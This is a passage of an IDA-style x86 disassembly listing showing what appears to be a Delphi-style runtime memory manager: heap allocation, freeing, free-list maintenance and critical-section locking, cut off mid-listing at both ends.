loc_11A10: ; CODE XREF: sub_119DC+28j mov ds:byte_175AC, 0 mov eax, ds:hMem push eax ; hMem call LocalFree ; LocalFree xor eax, eax mov ds:hMem, eax mov eax, ds:dword_175D4 mov [ebp+var_8], eax jmp short loc_11A4E ; --------------------------------------------------------------------------- loc_11A33: ; CODE XREF: sub_119DC+7Aj push 8000h ; dwFreeType push 0 ; dwSize mov eax, [ebp+var_8] mov eax, [eax+8] push eax ; lpAddress call VirtualFree ; VirtualFree mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_8], eax loc_11A4E: ; CODE XREF: sub_119DC+55j mov eax, offset dword_175D4 cmp eax, [ebp+var_8] jnz short loc_11A33 mov eax, offset dword_175D4 call sub_11180 mov eax, offset dword_175E4 call sub_11180 mov eax, offset dword_17610 call sub_11180 mov eax, ds:dword_175CC mov [ebp+hMem], eax cmp [ebp+hMem], 0 jz short loc_11AA5 loc_11A84: ; CODE XREF: sub_119DC+C7j mov eax, [ebp+hMem] mov eax, [eax] mov ds:dword_175CC, eax mov eax, [ebp+hMem] push eax ; hMem call LocalFree ; LocalFree mov eax, ds:dword_175CC mov [ebp+hMem], eax cmp [ebp+hMem], 0 jnz short loc_11A84 loc_11AA5: ; CODE XREF: sub_119DC+A6j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_11AD7 loc_11AB2: ; CODE XREF: sub_119DC+F9j cmp ds:byte_17035, 0 jz short loc_11AC5 push offset CriticalSection ; lpCriticalSection call LeaveCriticalSection loc_11AC5: ; CODE XREF: sub_119DC+DDj push offset CriticalSection ; lpCriticalSection call DeleteCriticalSection retn ; --------------------------------------------------------------------------- loc_11AD0: ; DATA XREF: sub_119DC+16o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_11AB2 ; --------------------------------------------------------------------------- loc_11AD7: ; CODE XREF: sub_119DC+Dj ; sub_119DC+F3j ; DATA XREF: ... pop ecx pop ecx pop ebp retn sub_119DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11ADC proc near ; CODE XREF: sub_11C3C+6Bp ; sub_11CB4+25p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebx add esp, 0FFFFFFF8h cmp eax, ds:dword_17600 jnz short loc_11AF1 mov edx, [eax+4] mov ds:dword_17600, edx loc_11AF1: ; CODE XREF: sub_11ADC+Aj mov edx, [eax+4] mov [esp+0Ch+var_C], edx mov edx, [eax+8] cmp edx, 1000h jg short loc_11B50 cmp eax, [esp+0Ch+var_C] jnz short loc_11B1E test edx, edx jns short loc_11B0E add edx, 3 loc_11B0E: ; CODE XREF: sub_11ADC+2Dj sar edx, 2 mov eax, ds:hMem xor ecx, ecx mov [eax+edx*4-0Ch], ecx jmp short loc_11B69 ; --------------------------------------------------------------------------- loc_11B1E: ; CODE XREF: sub_11ADC+29j test edx, edx jns short loc_11B25 add edx, 3 loc_11B25: ; CODE XREF: sub_11ADC+44j sar edx, 2 mov ecx, ds:hMem mov ebx, [esp+0Ch+var_C] mov [ecx+edx*4-0Ch], ebx mov eax, [eax] mov [esp+0Ch+var_8], eax mov eax, [esp+0Ch+var_C] mov edx, [esp+0Ch+var_8] mov [eax], edx mov eax, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_C] mov [eax+4], edx jmp short loc_11B69 ; --------------------------------------------------------------------------- loc_11B50: ; CODE XREF: sub_11ADC+24j mov eax, [eax] mov [esp+0Ch+var_8], eax mov eax, [esp+0Ch+var_C] mov edx, [esp+0Ch+var_8] mov [eax], edx mov eax, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_C] mov [eax+4], edx loc_11B69: ; CODE XREF: sub_11ADC+40j ; sub_11ADC+72j pop ecx pop edx pop ebx retn sub_11ADC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_11B70 proc near ; CODE XREF: sub_11CF4+Fp push ebx push ecx mov ecx, esp mov edx, ds:dword_17610 mov [ecx], edx jmp short loc_11B96 ; --------------------------------------------------------------------------- loc_11B7E: ; CODE XREF: sub_11B70+2Dj mov edx, [ecx] mov edx, [edx+8] cmp eax, edx jb short loc_11B90 mov ebx, [ecx] add edx, [ebx+0Ch] cmp eax, edx jb short loc_11BAD loc_11B90: ; CODE XREF: sub_11B70+15j mov edx, [ecx] mov edx, [edx] mov [ecx], edx loc_11B96: ; CODE XREF: sub_11B70+Cj mov edx, offset dword_17610 cmp edx, [ecx] jnz short loc_11B7E mov ds:dword_175B0, 3 xor eax, eax mov [ecx], eax loc_11BAD: ; CODE XREF: sub_11B70+1Ej mov eax, [ecx] pop edx pop ebx retn sub_11B70 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11BB4 proc near ; CODE XREF: sub_11CF4+7Ep ; sub_11EF4+68p var_8 = dword ptr -8 push ebx push ecx mov ecx, edx sub ecx, 4 lea ebx, [ecx+eax] mov [esp+8+var_8], ebx cmp edx, 10h jl short loc_11BD9 mov edx, [esp+8+var_8] mov dword ptr [edx], 80000007h mov edx, ecx call sub_11DB0 pop edx pop ebx retn ; --------------------------------------------------------------------------- loc_11BD9: ; CODE XREF: sub_11BB4+10j cmp edx, 4 jl short loc_11BED mov ecx, edx or ecx, 80000002h mov [eax], ecx mov eax, [esp+8+var_8] mov [eax], ecx loc_11BED: ; CODE XREF: sub_11BB4+28j pop edx pop ebx retn sub_11BB4 endp ; =============== S U B R O U T I N E ======================================= sub_11BF0 proc near ; CODE XREF: sub_11C14+Dp ; sub_11EA8+36p ... inc ds:dword_1759C mov edx, eax sub edx, 4 mov edx, [edx] and edx, 7FFFFFFCh sub edx, 4 add ds:dword_175A0, edx call sub_1230C retn sub_11BF0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11C14 proc near ; CODE XREF: sub_11CF4+A0p cmp edx, 0Ch jl short loc_11C27 or edx, 2 mov [eax], edx add eax, 4 call sub_11BF0 retn ; --------------------------------------------------------------------------- loc_11C27: ; CODE XREF: sub_11C14+3j cmp edx, 4 jl short loc_11C36 mov ecx, edx or ecx, 80000002h mov [eax], ecx loc_11C36: ; CODE XREF: sub_11C14+16j add eax, edx and dword ptr [eax], 0FFFFFFFEh retn sub_11C14 endp ; =============== S U B R O U T I N E ======================================= sub_11C3C proc near ; CODE XREF: sub_11EF4+36p var_C = dword ptr -0Ch push ebx push esi push ecx mov edx, eax sub edx, 4 mov edx, [edx] mov ecx, edx and ecx, 80000002h cmp ecx, 80000002h jz short loc_11C60 mov ds:dword_175B0, 4 loc_11C60: ; CODE XREF: sub_11C3C+18j mov ebx, edx and ebx, 7FFFFFFCh sub eax, ebx mov ecx, eax xor edx, [ecx] test edx, 0FFFFFFFEh jz short loc_11C80 mov ds:dword_175B0, 5 loc_11C80: ; CODE XREF: sub_11C3C+38j test byte ptr [ecx], 1 jz short loc_11CAE mov edx, eax sub edx, 0Ch mov esi, [edx+8] sub eax, esi mov [esp+0Ch+var_C], eax mov eax, [esp+0Ch+var_C] cmp esi, [eax+8] jz short loc_11CA4 mov ds:dword_175B0, 6 loc_11CA4: ; CODE XREF: sub_11C3C+5Cj mov eax, [esp+0Ch+var_C] call sub_11ADC add ebx, esi loc_11CAE: ; CODE XREF: sub_11C3C+47j mov eax, ebx pop edx pop esi pop ebx retn sub_11C3C endp ; =============== S U B R O U T I N E ======================================= sub_11CB4 proc near ; CODE XREF: sub_11EF4+4Fp var_C = dword ptr -0Ch push ebx push esi push ecx mov ebx, eax xor esi, esi mov eax, [ebx] test eax, 80000000h jz short loc_11CCF and eax, 7FFFFFFCh add esi, eax add ebx, eax mov eax, [ebx] loc_11CCF: ; CODE XREF: sub_11CB4+Ej test al, 2 jnz short loc_11CEB mov [esp+0Ch+var_C], ebx mov eax, [esp+0Ch+var_C] call sub_11ADC mov eax, [esp+0Ch+var_C] mov eax, [eax+8] add esi, eax add ebx, eax and dword ptr [ebx], 0FFFFFFFEh loc_11CEB: ; CODE XREF: sub_11CB4+1Dj mov eax, esi pop edx pop esi pop ebx retn sub_11CB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11CF4 proc near ; CODE XREF: sub_11DB0+A7p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov esi, edx mov ebp, eax xor ebx, ebx mov eax, ebp call sub_11B70 mov [esp+1Ch+var_14], eax cmp [esp+1Ch+var_14], 0 jz loc_11DA6 mov eax, [esp+1Ch+var_14] mov edi, [eax+8] mov eax, edi mov edx, [esp+1Ch+var_14] add eax, [edx+0Ch] mov edx, eax lea ecx, [esi+ebp] sub edx, ecx cmp edx, 0Ch jg short loc_11D37 mov esi, eax sub esi, ebp loc_11D37: ; CODE XREF: sub_11CF4+3Dj mov eax, ebp sub eax, edi cmp eax, 0Ch jge short loc_11D56 mov eax, [esp+1Ch+var_14] mov edx, ebp sub edx, [eax+8] add edx, esi mov ecx, esp mov eax, edi call sub_11870 jmp short loc_11D65 ; --------------------------------------------------------------------------- loc_11D56: ; CODE XREF: sub_11CF4+4Aj mov ecx, esp mov edx, esi sub edx, 4 lea eax, [ebp+4] call sub_11870 loc_11D65: ; CODE XREF: sub_11CF4+60j mov edi, [esp+1Ch+var_1C] test edi, edi jz short loc_11DA6 mov edx, edi sub edx, ebp mov eax, ebp call sub_11BB4 mov edx, [esp+1Ch+var_14] mov edx, [edx+8] mov ecx, [esp+1Ch+var_14] add edx, [ecx+0Ch] mov eax, edi add eax, [esp+1Ch+var_18] cmp edx, eax jbe short loc_11D99 lea edx, [esi+ebp] sub edx, eax call sub_11C14 loc_11D99: ; CODE XREF: sub_11CF4+99j mov edx, esp mov eax, [esp+1Ch+var_14] call sub_112A0 mov bl, 1 loc_11DA6: ; CODE XREF: sub_11CF4+1Dj ; sub_11CF4+76j mov eax, ebx add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_11CF4 endp ; =============== S U B R O U T I N E ======================================= sub_11DB0 proc near ; CODE XREF: sub_11BB4+1Dp ; sub_12018+EEp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch push ebx push esi add esp, 0FFFFFFF4h mov ebx, edx mov esi, eax mov [esp+14h+var_14], esi mov eax, [esp+14h+var_14] mov [eax+8], ebx mov eax, [esp+14h+var_14] add eax, ebx sub eax, 0Ch mov [eax+8], ebx cmp ebx, 1000h jg short loc_11E4B mov eax, ebx test eax, eax jns short loc_11DDE add eax, 3 loc_11DDE: ; CODE XREF: sub_11DB0+29j sar eax, 2 mov edx, ds:hMem mov edx, [edx+eax*4-0Ch] mov [esp+14h+var_10], edx cmp [esp+14h+var_10], 0 jnz short loc_11E19 mov edx, ds:hMem mov ecx, [esp+14h+var_14] mov [edx+eax*4-0Ch], ecx mov eax, [esp+14h+var_14] mov edx, [esp+14h+var_14] mov [eax+4], edx mov eax, [esp+14h+var_14] mov edx, [esp+14h+var_14] mov [eax], edx jmp loc_11EA1 ; --------------------------------------------------------------------------- loc_11E19: ; CODE XREF: sub_11DB0+44j mov eax, [esp+14h+var_10] mov eax, [eax] mov [esp+14h+var_C], eax mov eax, [esp+14h+var_14] mov edx, [esp+14h+var_10] mov [eax+4], edx mov eax, [esp+14h+var_14] mov edx, [esp+14h+var_C] mov [eax], edx mov eax, [esp+14h+var_10] mov edx, [esp+14h+var_14] mov [eax], edx mov eax, [esp+14h+var_C] mov edx, [esp+14h+var_14] mov [eax+4], edx jmp short loc_11EA1 ; --------------------------------------------------------------------------- loc_11E4B: ; CODE XREF: sub_11DB0+23j cmp ebx, 3C00h jl short loc_11E60 mov edx, ebx mov eax, esi call sub_11CF4 test al, al jnz short loc_11EA1 loc_11E60: ; CODE XREF: sub_11DB0+A1j mov eax, ds:dword_17600 mov [esp+14h+var_10], eax mov eax, [esp+14h+var_14] mov ds:dword_17600, eax mov eax, [esp+14h+var_10] mov eax, [eax] mov [esp+14h+var_C], eax mov eax, [esp+14h+var_14] mov edx, [esp+14h+var_10] mov [eax+4], edx mov eax, [esp+14h+var_14] mov edx, [esp+14h+var_C] mov [eax], edx mov eax, [esp+14h+var_10] mov edx, [esp+14h+var_14] mov [eax], edx mov eax, [esp+14h+var_C] mov edx, [esp+14h+var_14] mov [eax+4], edx loc_11EA1: ; CODE XREF: sub_11DB0+64j ; sub_11DB0+99j ... add esp, 0Ch pop esi pop ebx retn sub_11DB0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11EA8 proc near ; CODE XREF: sub_11EF4+Fp ; sub_1230C+11Dp ... cmp ds:dword_17604, 0 jle short locret_11EF1 cmp ds:dword_17604, 0Ch jge short loc_11EC6 mov ds:dword_175B0, 7 jmp short locret_11EF1 ; --------------------------------------------------------------------------- loc_11EC6: ; CODE XREF: sub_11EA8+10j mov eax, ds:dword_17604 or eax, 2 mov edx, ds:dword_17608 mov [edx], eax mov eax, ds:dword_17608 add eax, 4 call sub_11BF0 xor eax, eax mov ds:dword_17608, eax xor eax, eax mov ds:dword_17604, eax locret_11EF1: ; CODE XREF: sub_11EA8+7j ; sub_11EA8+1Cj retn sub_11EA8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11EF4 proc near ; CODE XREF: sub_11F80+18p ; sub_11FAC+1Dp var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFF0h mov esi, eax lea edi, [esp+1Ch+var_1C] movsd movsd mov edi, esp call sub_11EA8 lea ecx, [esp+1Ch+var_14] mov edx, edi mov eax, offset dword_17610 call sub_11218 mov ebx, [esp+1Ch+var_14] test ebx, ebx jnz short loc_11F24 xor eax, eax jmp short loc_11F76 ; --------------------------------------------------------------------------- loc_11F24: ; CODE XREF: sub_11EF4+2Aj mov eax, [edi] cmp ebx, eax jnb short loc_11F34 call sub_11C3C sub [edi], eax add [edi+4], eax loc_11F34: ; CODE XREF: sub_11EF4+34j mov eax, [edi] add eax, [edi+4] mov esi, ebx add esi, [esp+1Ch+var_10] cmp eax, esi jnb short loc_11F4B call sub_11CB4 add [edi+4], eax loc_11F4B: ; CODE XREF: sub_11EF4+4Dj mov eax, [edi] add eax, [edi+4] cmp esi, eax jnz short loc_11F65 sub eax, 4 mov edx, 4 call sub_11BB4 sub dword ptr [edi+4], 4 loc_11F65: ; CODE XREF: sub_11EF4+5Ej mov eax, [edi] mov ds:dword_17608, eax mov eax, [edi+4] mov ds:dword_17604, eax mov al, 1 loc_11F76: ; CODE XREF: sub_11EF4+2Ej add esp, 10h pop edi pop esi pop ebx retn sub_11EF4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_11F80 proc near ; CODE XREF: sub_12018+76p var_C = dword ptr -0Ch push ebx add esp, 0FFFFFFF8h mov ebx, eax mov edx, esp lea eax, [ebx+4] call sub_11684 cmp [esp+0Ch+var_C], 0 jz short loc_11FA1 mov eax, esp call sub_11EF4 test al, al jnz short loc_11FA5 loc_11FA1: ; CODE XREF: sub_11F80+14j xor eax, eax jmp short loc_11FA7 ; --------------------------------------------------------------------------- loc_11FA5: ; CODE XREF: sub_11F80+1Fj mov al, 1 loc_11FA7: ; CODE XREF: sub_11F80+23j pop ecx pop edx pop ebx retn sub_11F80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_11FAC proc near ; CODE XREF: sub_124E4+1C3p var_10 = dword ptr -10h push ebx push esi add esp, 0FFFFFFF8h mov esi, edx mov ebx, eax mov ecx, esp lea edx, [esi+4] mov eax, ebx call sub_1172C cmp [esp+10h+var_10], 0 jz short loc_11FD2 mov eax, esp call sub_11EF4 test al, al jnz short loc_11FD6 loc_11FD2: ; CODE XREF: sub_11FAC+19j xor eax, eax jmp short loc_11FD8 ; --------------------------------------------------------------------------- loc_11FD6: ; CODE XREF: sub_11FAC+24j mov al, 1 loc_11FD8: ; CODE XREF: sub_11FAC+28j pop ecx pop edx pop esi pop ebx retn sub_11FAC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_11FE0 proc near ; CODE XREF: sub_12018+68p push ecx mov edx, esp xor ecx, ecx mov [edx], ecx test eax, eax jns short loc_11FEE add eax, 3 loc_11FEE: ; CODE XREF: sub_11FE0+9j sar eax, 2 cmp eax, 400h jg short loc_12011 loc_11FF8: ; CODE XREF: sub_11FE0+2Fj mov ecx, ds:hMem mov ecx, [ecx+eax*4-0Ch] mov [edx], ecx cmp dword ptr [edx], 0 jnz short loc_12011 inc eax cmp eax, 401h jnz short loc_11FF8 loc_12011: ; CODE XREF: sub_11FE0+16j ; sub_11FE0+27j mov eax, [edx] pop edx retn sub_11FE0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12018 proc near ; CODE XREF: sub_12160+173p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov ebx, eax lea esi, [esp+1Ch+var_14] mov edi, offset dword_17600 mov ebp, offset dword_17604 loc_1202F: ; CODE XREF: sub_12018+8Cj mov eax, ds:dword_175F8 mov [esi], eax mov eax, [esi] cmp ebx, [eax+8] jle loc_120EC mov eax, [edi] mov [esi], eax mov eax, [esi] mov eax, [eax+8] cmp ebx, eax jle loc_120EC mov edx, [esi] mov [edx+8], ebx loc_12057: ; CODE XREF: sub_12018+4Bj mov edx, [esi] mov edx, [edx+4] mov [esi], edx mov edx, [esi] cmp ebx, [edx+8] jg short loc_12057 mov edx, [edi] mov [edx+8], eax mov eax, [esi] cmp eax, [edi] jz short loc_12076 mov eax, [esi] mov [edi], eax jmp short loc_120EC ; --------------------------------------------------------------------------- loc_12076: ; CODE XREF: sub_12018+56j cmp ebx, 1000h jg short loc_1208C mov eax, ebx call sub_11FE0 mov [esi], eax cmp dword ptr [esi], 0 jnz short loc_120EC loc_1208C: ; CODE XREF: sub_12018+64j mov eax, ebx call sub_11F80 test al, al jnz short loc_120A1 xor eax, eax mov [esp+1Ch+var_1C], eax jmp loc_12155 ; --------------------------------------------------------------------------- loc_120A1: ; CODE XREF: sub_12018+7Dj cmp ebx, [ebp+0] jg short loc_1202F sub [ebp+0], ebx cmp dword ptr [ebp+0], 0Ch jge short loc_120B7 add ebx, [ebp+0] xor eax, eax mov [ebp+0], eax loc_120B7: ; CODE XREF: sub_12018+95j mov eax, ds:dword_17608 mov [esp+1Ch+var_18], eax add ds:dword_17608, ebx mov eax, ebx or eax, 2 mov edx, [esp+1Ch+var_18] mov [edx], eax mov eax, [esp+1Ch+var_18] add eax, 4 mov [esp+1Ch+var_1C], eax inc ds:dword_1759C sub ebx, 4 add ds:dword_175A0, ebx jmp short loc_12155 ; --------------------------------------------------------------------------- loc_120EC: ; CODE XREF: sub_12018+23j ; sub_12018+34j ... mov eax, [esi] call sub_11ADC mov eax, [esi] mov edx, [eax+8] mov eax, edx sub eax, ebx cmp eax, 0Ch jl short loc_1210D mov edx, [esi] add edx, ebx xchg eax, edx call sub_11DB0 jmp short loc_1212B ; --------------------------------------------------------------------------- loc_1210D: ; CODE XREF: sub_12018+E7j mov ebx, edx mov eax, [esi] cmp eax, [edi] jnz short loc_1211C mov eax, [esi] mov eax, [eax+4] mov [edi], eax loc_1211C: ; CODE XREF: sub_12018+FBj mov eax, [esi] add eax, ebx mov [esp+1Ch+var_18], eax mov eax, [esp+1Ch+var_18] and dword ptr [eax], 0FFFFFFFEh loc_1212B: ; CODE XREF: sub_12018+F3j mov eax, [esi] mov [esp+1Ch+var_18], eax mov eax, ebx or eax, 2 mov edx, [esp+1Ch+var_18] mov [edx], eax mov eax, [esp+1Ch+var_18] add eax, 4 mov [esp+1Ch+var_1C], eax inc ds:dword_1759C sub ebx, 4 add ds:dword_175A0, ebx loc_12155: ; CODE XREF: sub_12018+84j ; sub_12018+D2j mov eax, [esp+1Ch+var_1C] add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_12018 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_12160 proc near ; CODE XREF: sub_126E8+5Dp ; sub_127B4+Ap ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx mov ebx, eax cmp ds:byte_175AC, 0 jnz short loc_1217B call sub_11904 test al, al jz short loc_12183 loc_1217B: ; CODE XREF: sub_12160+10j cmp ebx, 7FFFFFF8h jle short loc_1218D loc_12183: ; CODE XREF: sub_12160+19j xor eax, eax mov [ebp+var_4], eax jmp loc_12303 ; --------------------------------------------------------------------------- loc_1218D: ; CODE XREF: sub_12160+21j xor edx, edx push ebp push offset loc_122FC push dword ptr fs:[edx] mov fs:[edx], esp cmp ds:byte_17035, 0 jz short loc_121AE push offset CriticalSection ; lpCriticalSection call EnterCriticalSection loc_121AE: ; CODE XREF: sub_12160+42j add ebx, 7 and ebx, 0FFFFFFFCh cmp ebx, 0Ch jge short loc_121BE mov ebx, 0Ch loc_121BE: ; CODE XREF: sub_12160+57j cmp ebx, 1000h jg loc_12276 mov eax, ebx test eax, eax jns short loc_121D3 add eax, 3 loc_121D3: ; CODE XREF: sub_12160+6Ej sar eax, 2 mov edx, ds:hMem mov edx, [edx+eax*4-0Ch] mov [ebp+var_8], edx cmp [ebp+var_8], 0 jz loc_12276 mov edx, [ebp+var_8] add edx, ebx mov [ebp+var_14], edx mov edx, [ebp+var_14] and dword ptr [edx], 0FFFFFFFEh mov edx, [ebp+var_8] mov edx, [edx+4] mov [ebp+var_10], edx mov edx, [ebp+var_10] cmp edx, [ebp+var_8] jnz short loc_1221A mov edx, ds:hMem xor ecx, ecx mov [edx+eax*4-0Ch], ecx jmp short loc_12240 ; --------------------------------------------------------------------------- loc_1221A: ; CODE XREF: sub_12160+AAj mov edx, ds:hMem mov ecx, [ebp+var_10] mov [edx+eax*4-0Ch], ecx mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_C], eax mov eax, [ebp+var_C] mov edx, [ebp+var_10] mov [eax+4], edx mov eax, [ebp+var_10] mov edx, [ebp+var_C] mov [eax], edx loc_12240: ; CODE XREF: sub_12160+B8j mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_8] mov eax, [eax+8] or eax, 2 mov edx, [ebp+var_14] mov [edx], eax mov eax, [ebp+var_14] add eax, 4 mov [ebp+var_4], eax inc ds:dword_1759C sub ebx, 4 add ds:dword_175A0, ebx call sub_13008 jmp loc_12303 ; --------------------------------------------------------------------------- loc_12276: ; CODE XREF: sub_12160+64j ; sub_12160+87j cmp ebx, ds:dword_17604 jg short loc_122D1 sub ds:dword_17604, ebx cmp ds:dword_17604, 0Ch jge short loc_1229A add ebx, ds:dword_17604 xor eax, eax mov ds:dword_17604, eax loc_1229A: ; CODE XREF: sub_12160+12Bj mov eax, ds:dword_17608 mov [ebp+var_14], eax add ds:dword_17608, ebx mov eax, ebx or eax, 2 mov edx, [ebp+var_14] mov [edx], eax mov eax, [ebp+var_14] add eax, 4 mov [ebp+var_4], eax inc ds:dword_1759C sub ebx, 4 add ds:dword_175A0, ebx call sub_13008 jmp short loc_12303 ; --------------------------------------------------------------------------- loc_122D1: ; CODE XREF: sub_12160+11Cj mov eax, ebx call sub_12018 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_12303 loc_122E8: ; CODE XREF: sub_12160+1A1j cmp ds:byte_17035, 0 jz short loc_122FB push offset CriticalSection ; lpCriticalSection call LeaveCriticalSection loc_122FB: ; CODE XREF: sub_12160+18Fj retn ; --------------------------------------------------------------------------- loc_122FC: ; DATA XREF: sub_12160+30o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_122E8 ; --------------------------------------------------------------------------- loc_12303: ; CODE XREF: sub_12160+28j ; sub_12160+111j ... mov eax, [ebp+var_4] pop ebx mov esp, ebp pop ebp retn sub_12160 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1230C proc near ; CODE XREF: sub_11BF0+1Cp ; sub_126E8+8Dp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx mov ebx, eax xor eax, eax mov ds:dword_175B0, eax cmp ds:byte_175AC, 0 jnz short loc_12344 call sub_11904 test al, al jnz short loc_12344 mov ds:dword_175B0, 8 mov [ebp+var_4], 8 jmp loc_124DA ; --------------------------------------------------------------------------- loc_12344: ; CODE XREF: sub_1230C+17j ; sub_1230C+20j xor edx, edx push ebp push offset loc_124D3 push dword ptr fs:[edx] mov fs:[edx], esp cmp ds:byte_17035, 0 jz short loc_12365 push offset CriticalSection ; lpCriticalSection call EnterCriticalSection loc_12365: ; CODE XREF: sub_1230C+4Dj mov [ebp+var_8], ebx mov eax, [ebp+var_8] sub eax, 4 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ebx, [eax] test bl, 2 jnz short loc_1238A mov ds:dword_175B0, 9 jmp loc_124AA ; --------------------------------------------------------------------------- loc_1238A: ; CODE XREF: sub_1230C+6Dj dec ds:dword_1759C mov eax, ebx and eax, 7FFFFFFCh sub eax, 4 sub ds:dword_175A0, eax test bl, 1 jz short loc_123F8 mov eax, [ebp+var_8] sub eax, 0Ch mov eax, [eax+8] cmp eax, 0Ch jl short loc_123BA test eax, 80000003h jz short loc_123C9 loc_123BA: ; CODE XREF: sub_1230C+A5j mov ds:dword_175B0, 0Ah jmp loc_124AA ; --------------------------------------------------------------------------- loc_123C9: ; CODE XREF: sub_1230C+ACj mov edx, [ebp+var_8] sub edx, eax mov [ebp+var_10], edx mov edx, [ebp+var_10] cmp eax, [edx+8] jz short loc_123E8 mov ds:dword_175B0, 0Ah jmp loc_124AA ; --------------------------------------------------------------------------- loc_123E8: ; CODE XREF: sub_1230C+CBj add ebx, eax mov eax, [ebp+var_10] mov [ebp+var_8], eax mov eax, [ebp+var_10] call sub_11ADC loc_123F8: ; CODE XREF: sub_1230C+97j and ebx, 7FFFFFFCh mov eax, [ebp+var_8] add eax, ebx mov [ebp+var_C], eax mov eax, [ebp+var_C] cmp eax, ds:dword_17608 jnz short loc_1243D sub ds:dword_17608, ebx add ds:dword_17604, ebx cmp ds:dword_17604, 3C00h jle short loc_1242E call sub_11EA8 loc_1242E: ; CODE XREF: sub_1230C+11Bj xor eax, eax mov [ebp+var_4], eax call sub_13008 jmp loc_124DA ; --------------------------------------------------------------------------- loc_1243D: ; CODE XREF: sub_1230C+103j mov eax, [ebp+var_C] mov eax, [eax] test al, 2 jz short loc_12464 and eax, 7FFFFFFCh cmp eax, 4 jge short loc_1245C mov ds:dword_175B0, 0Bh jmp short loc_124AA ; --------------------------------------------------------------------------- loc_1245C: ; CODE XREF: sub_1230C+142j mov eax, [ebp+var_C] or dword ptr [eax], 1 jmp short loc_124A0 ; --------------------------------------------------------------------------- loc_12464: ; CODE XREF: sub_1230C+138j mov eax, [ebp+var_C] mov [ebp+var_10], eax mov eax, [ebp+var_10] cmp dword ptr [eax+4], 0 jz short loc_12484 mov eax, [ebp+var_10] cmp dword ptr [eax], 0 jz short loc_12484 mov eax, [ebp+var_10] cmp dword ptr [eax+8], 0Ch jge short loc_12490 loc_12484: ; CODE XREF: sub_1230C+165j ; sub_1230C+16Dj mov ds:dword_175B0, 0Bh jmp short loc_124AA ; --------------------------------------------------------------------------- loc_12490: ; CODE XREF: sub_1230C+176j mov eax, [ebp+var_10] mov eax, [eax+8] add ebx, eax mov eax, [ebp+var_10] call sub_11ADC loc_124A0: ; CODE XREF: sub_1230C+156j mov edx, ebx mov eax, [ebp+var_8] call sub_11DB0 loc_124AA: ; CODE XREF: sub_1230C+79j ; sub_1230C+B8j ... mov eax, ds:dword_175B0 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_124DA loc_124BF: ; CODE XREF: sub_1230C+1CCj cmp ds:byte_17035, 0 jz short loc_124D2 push offset CriticalSection ; lpCriticalSection call LeaveCriticalSection loc_124D2: ; CODE XREF: sub_1230C+1BAj retn ; --------------------------------------------------------------------------- loc_124D3: ; DATA XREF: sub_1230C+3Bo jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_124BF ; --------------------------------------------------------------------------- loc_124DA: ; CODE XREF: sub_1230C+33j ; sub_1230C+12Cj ... mov eax, [ebp+var_4] pop ebx mov esp, ebp pop ebp retn sub_1230C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_124E4 proc near ; CODE XREF: sub_126E8+4Dp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov ebx, edx add ebx, 7 and ebx, 0FFFFFFFCh cmp ebx, 0Ch jge short loc_124FD mov ebx, 0Ch loc_124FD: ; CODE XREF: sub_124E4+12j sub eax, 4 mov [esp+1Ch+var_1C], eax mov eax, [esp+1Ch+var_1C] mov esi, [eax] and esi, 7FFFFFFCh mov eax, [esp+1Ch+var_1C] add eax, esi mov [esp+1Ch+var_18], eax cmp esi, ebx jnz short loc_12522 mov al, 1 jmp loc_126DF ; --------------------------------------------------------------------------- loc_12522: ; CODE XREF: sub_124E4+35j cmp esi, ebx jle loc_125BA mov ebp, esi sub ebp, ebx mov edx, [esp+1Ch+var_18] cmp edx, ds:dword_17608 jnz short loc_12566 sub 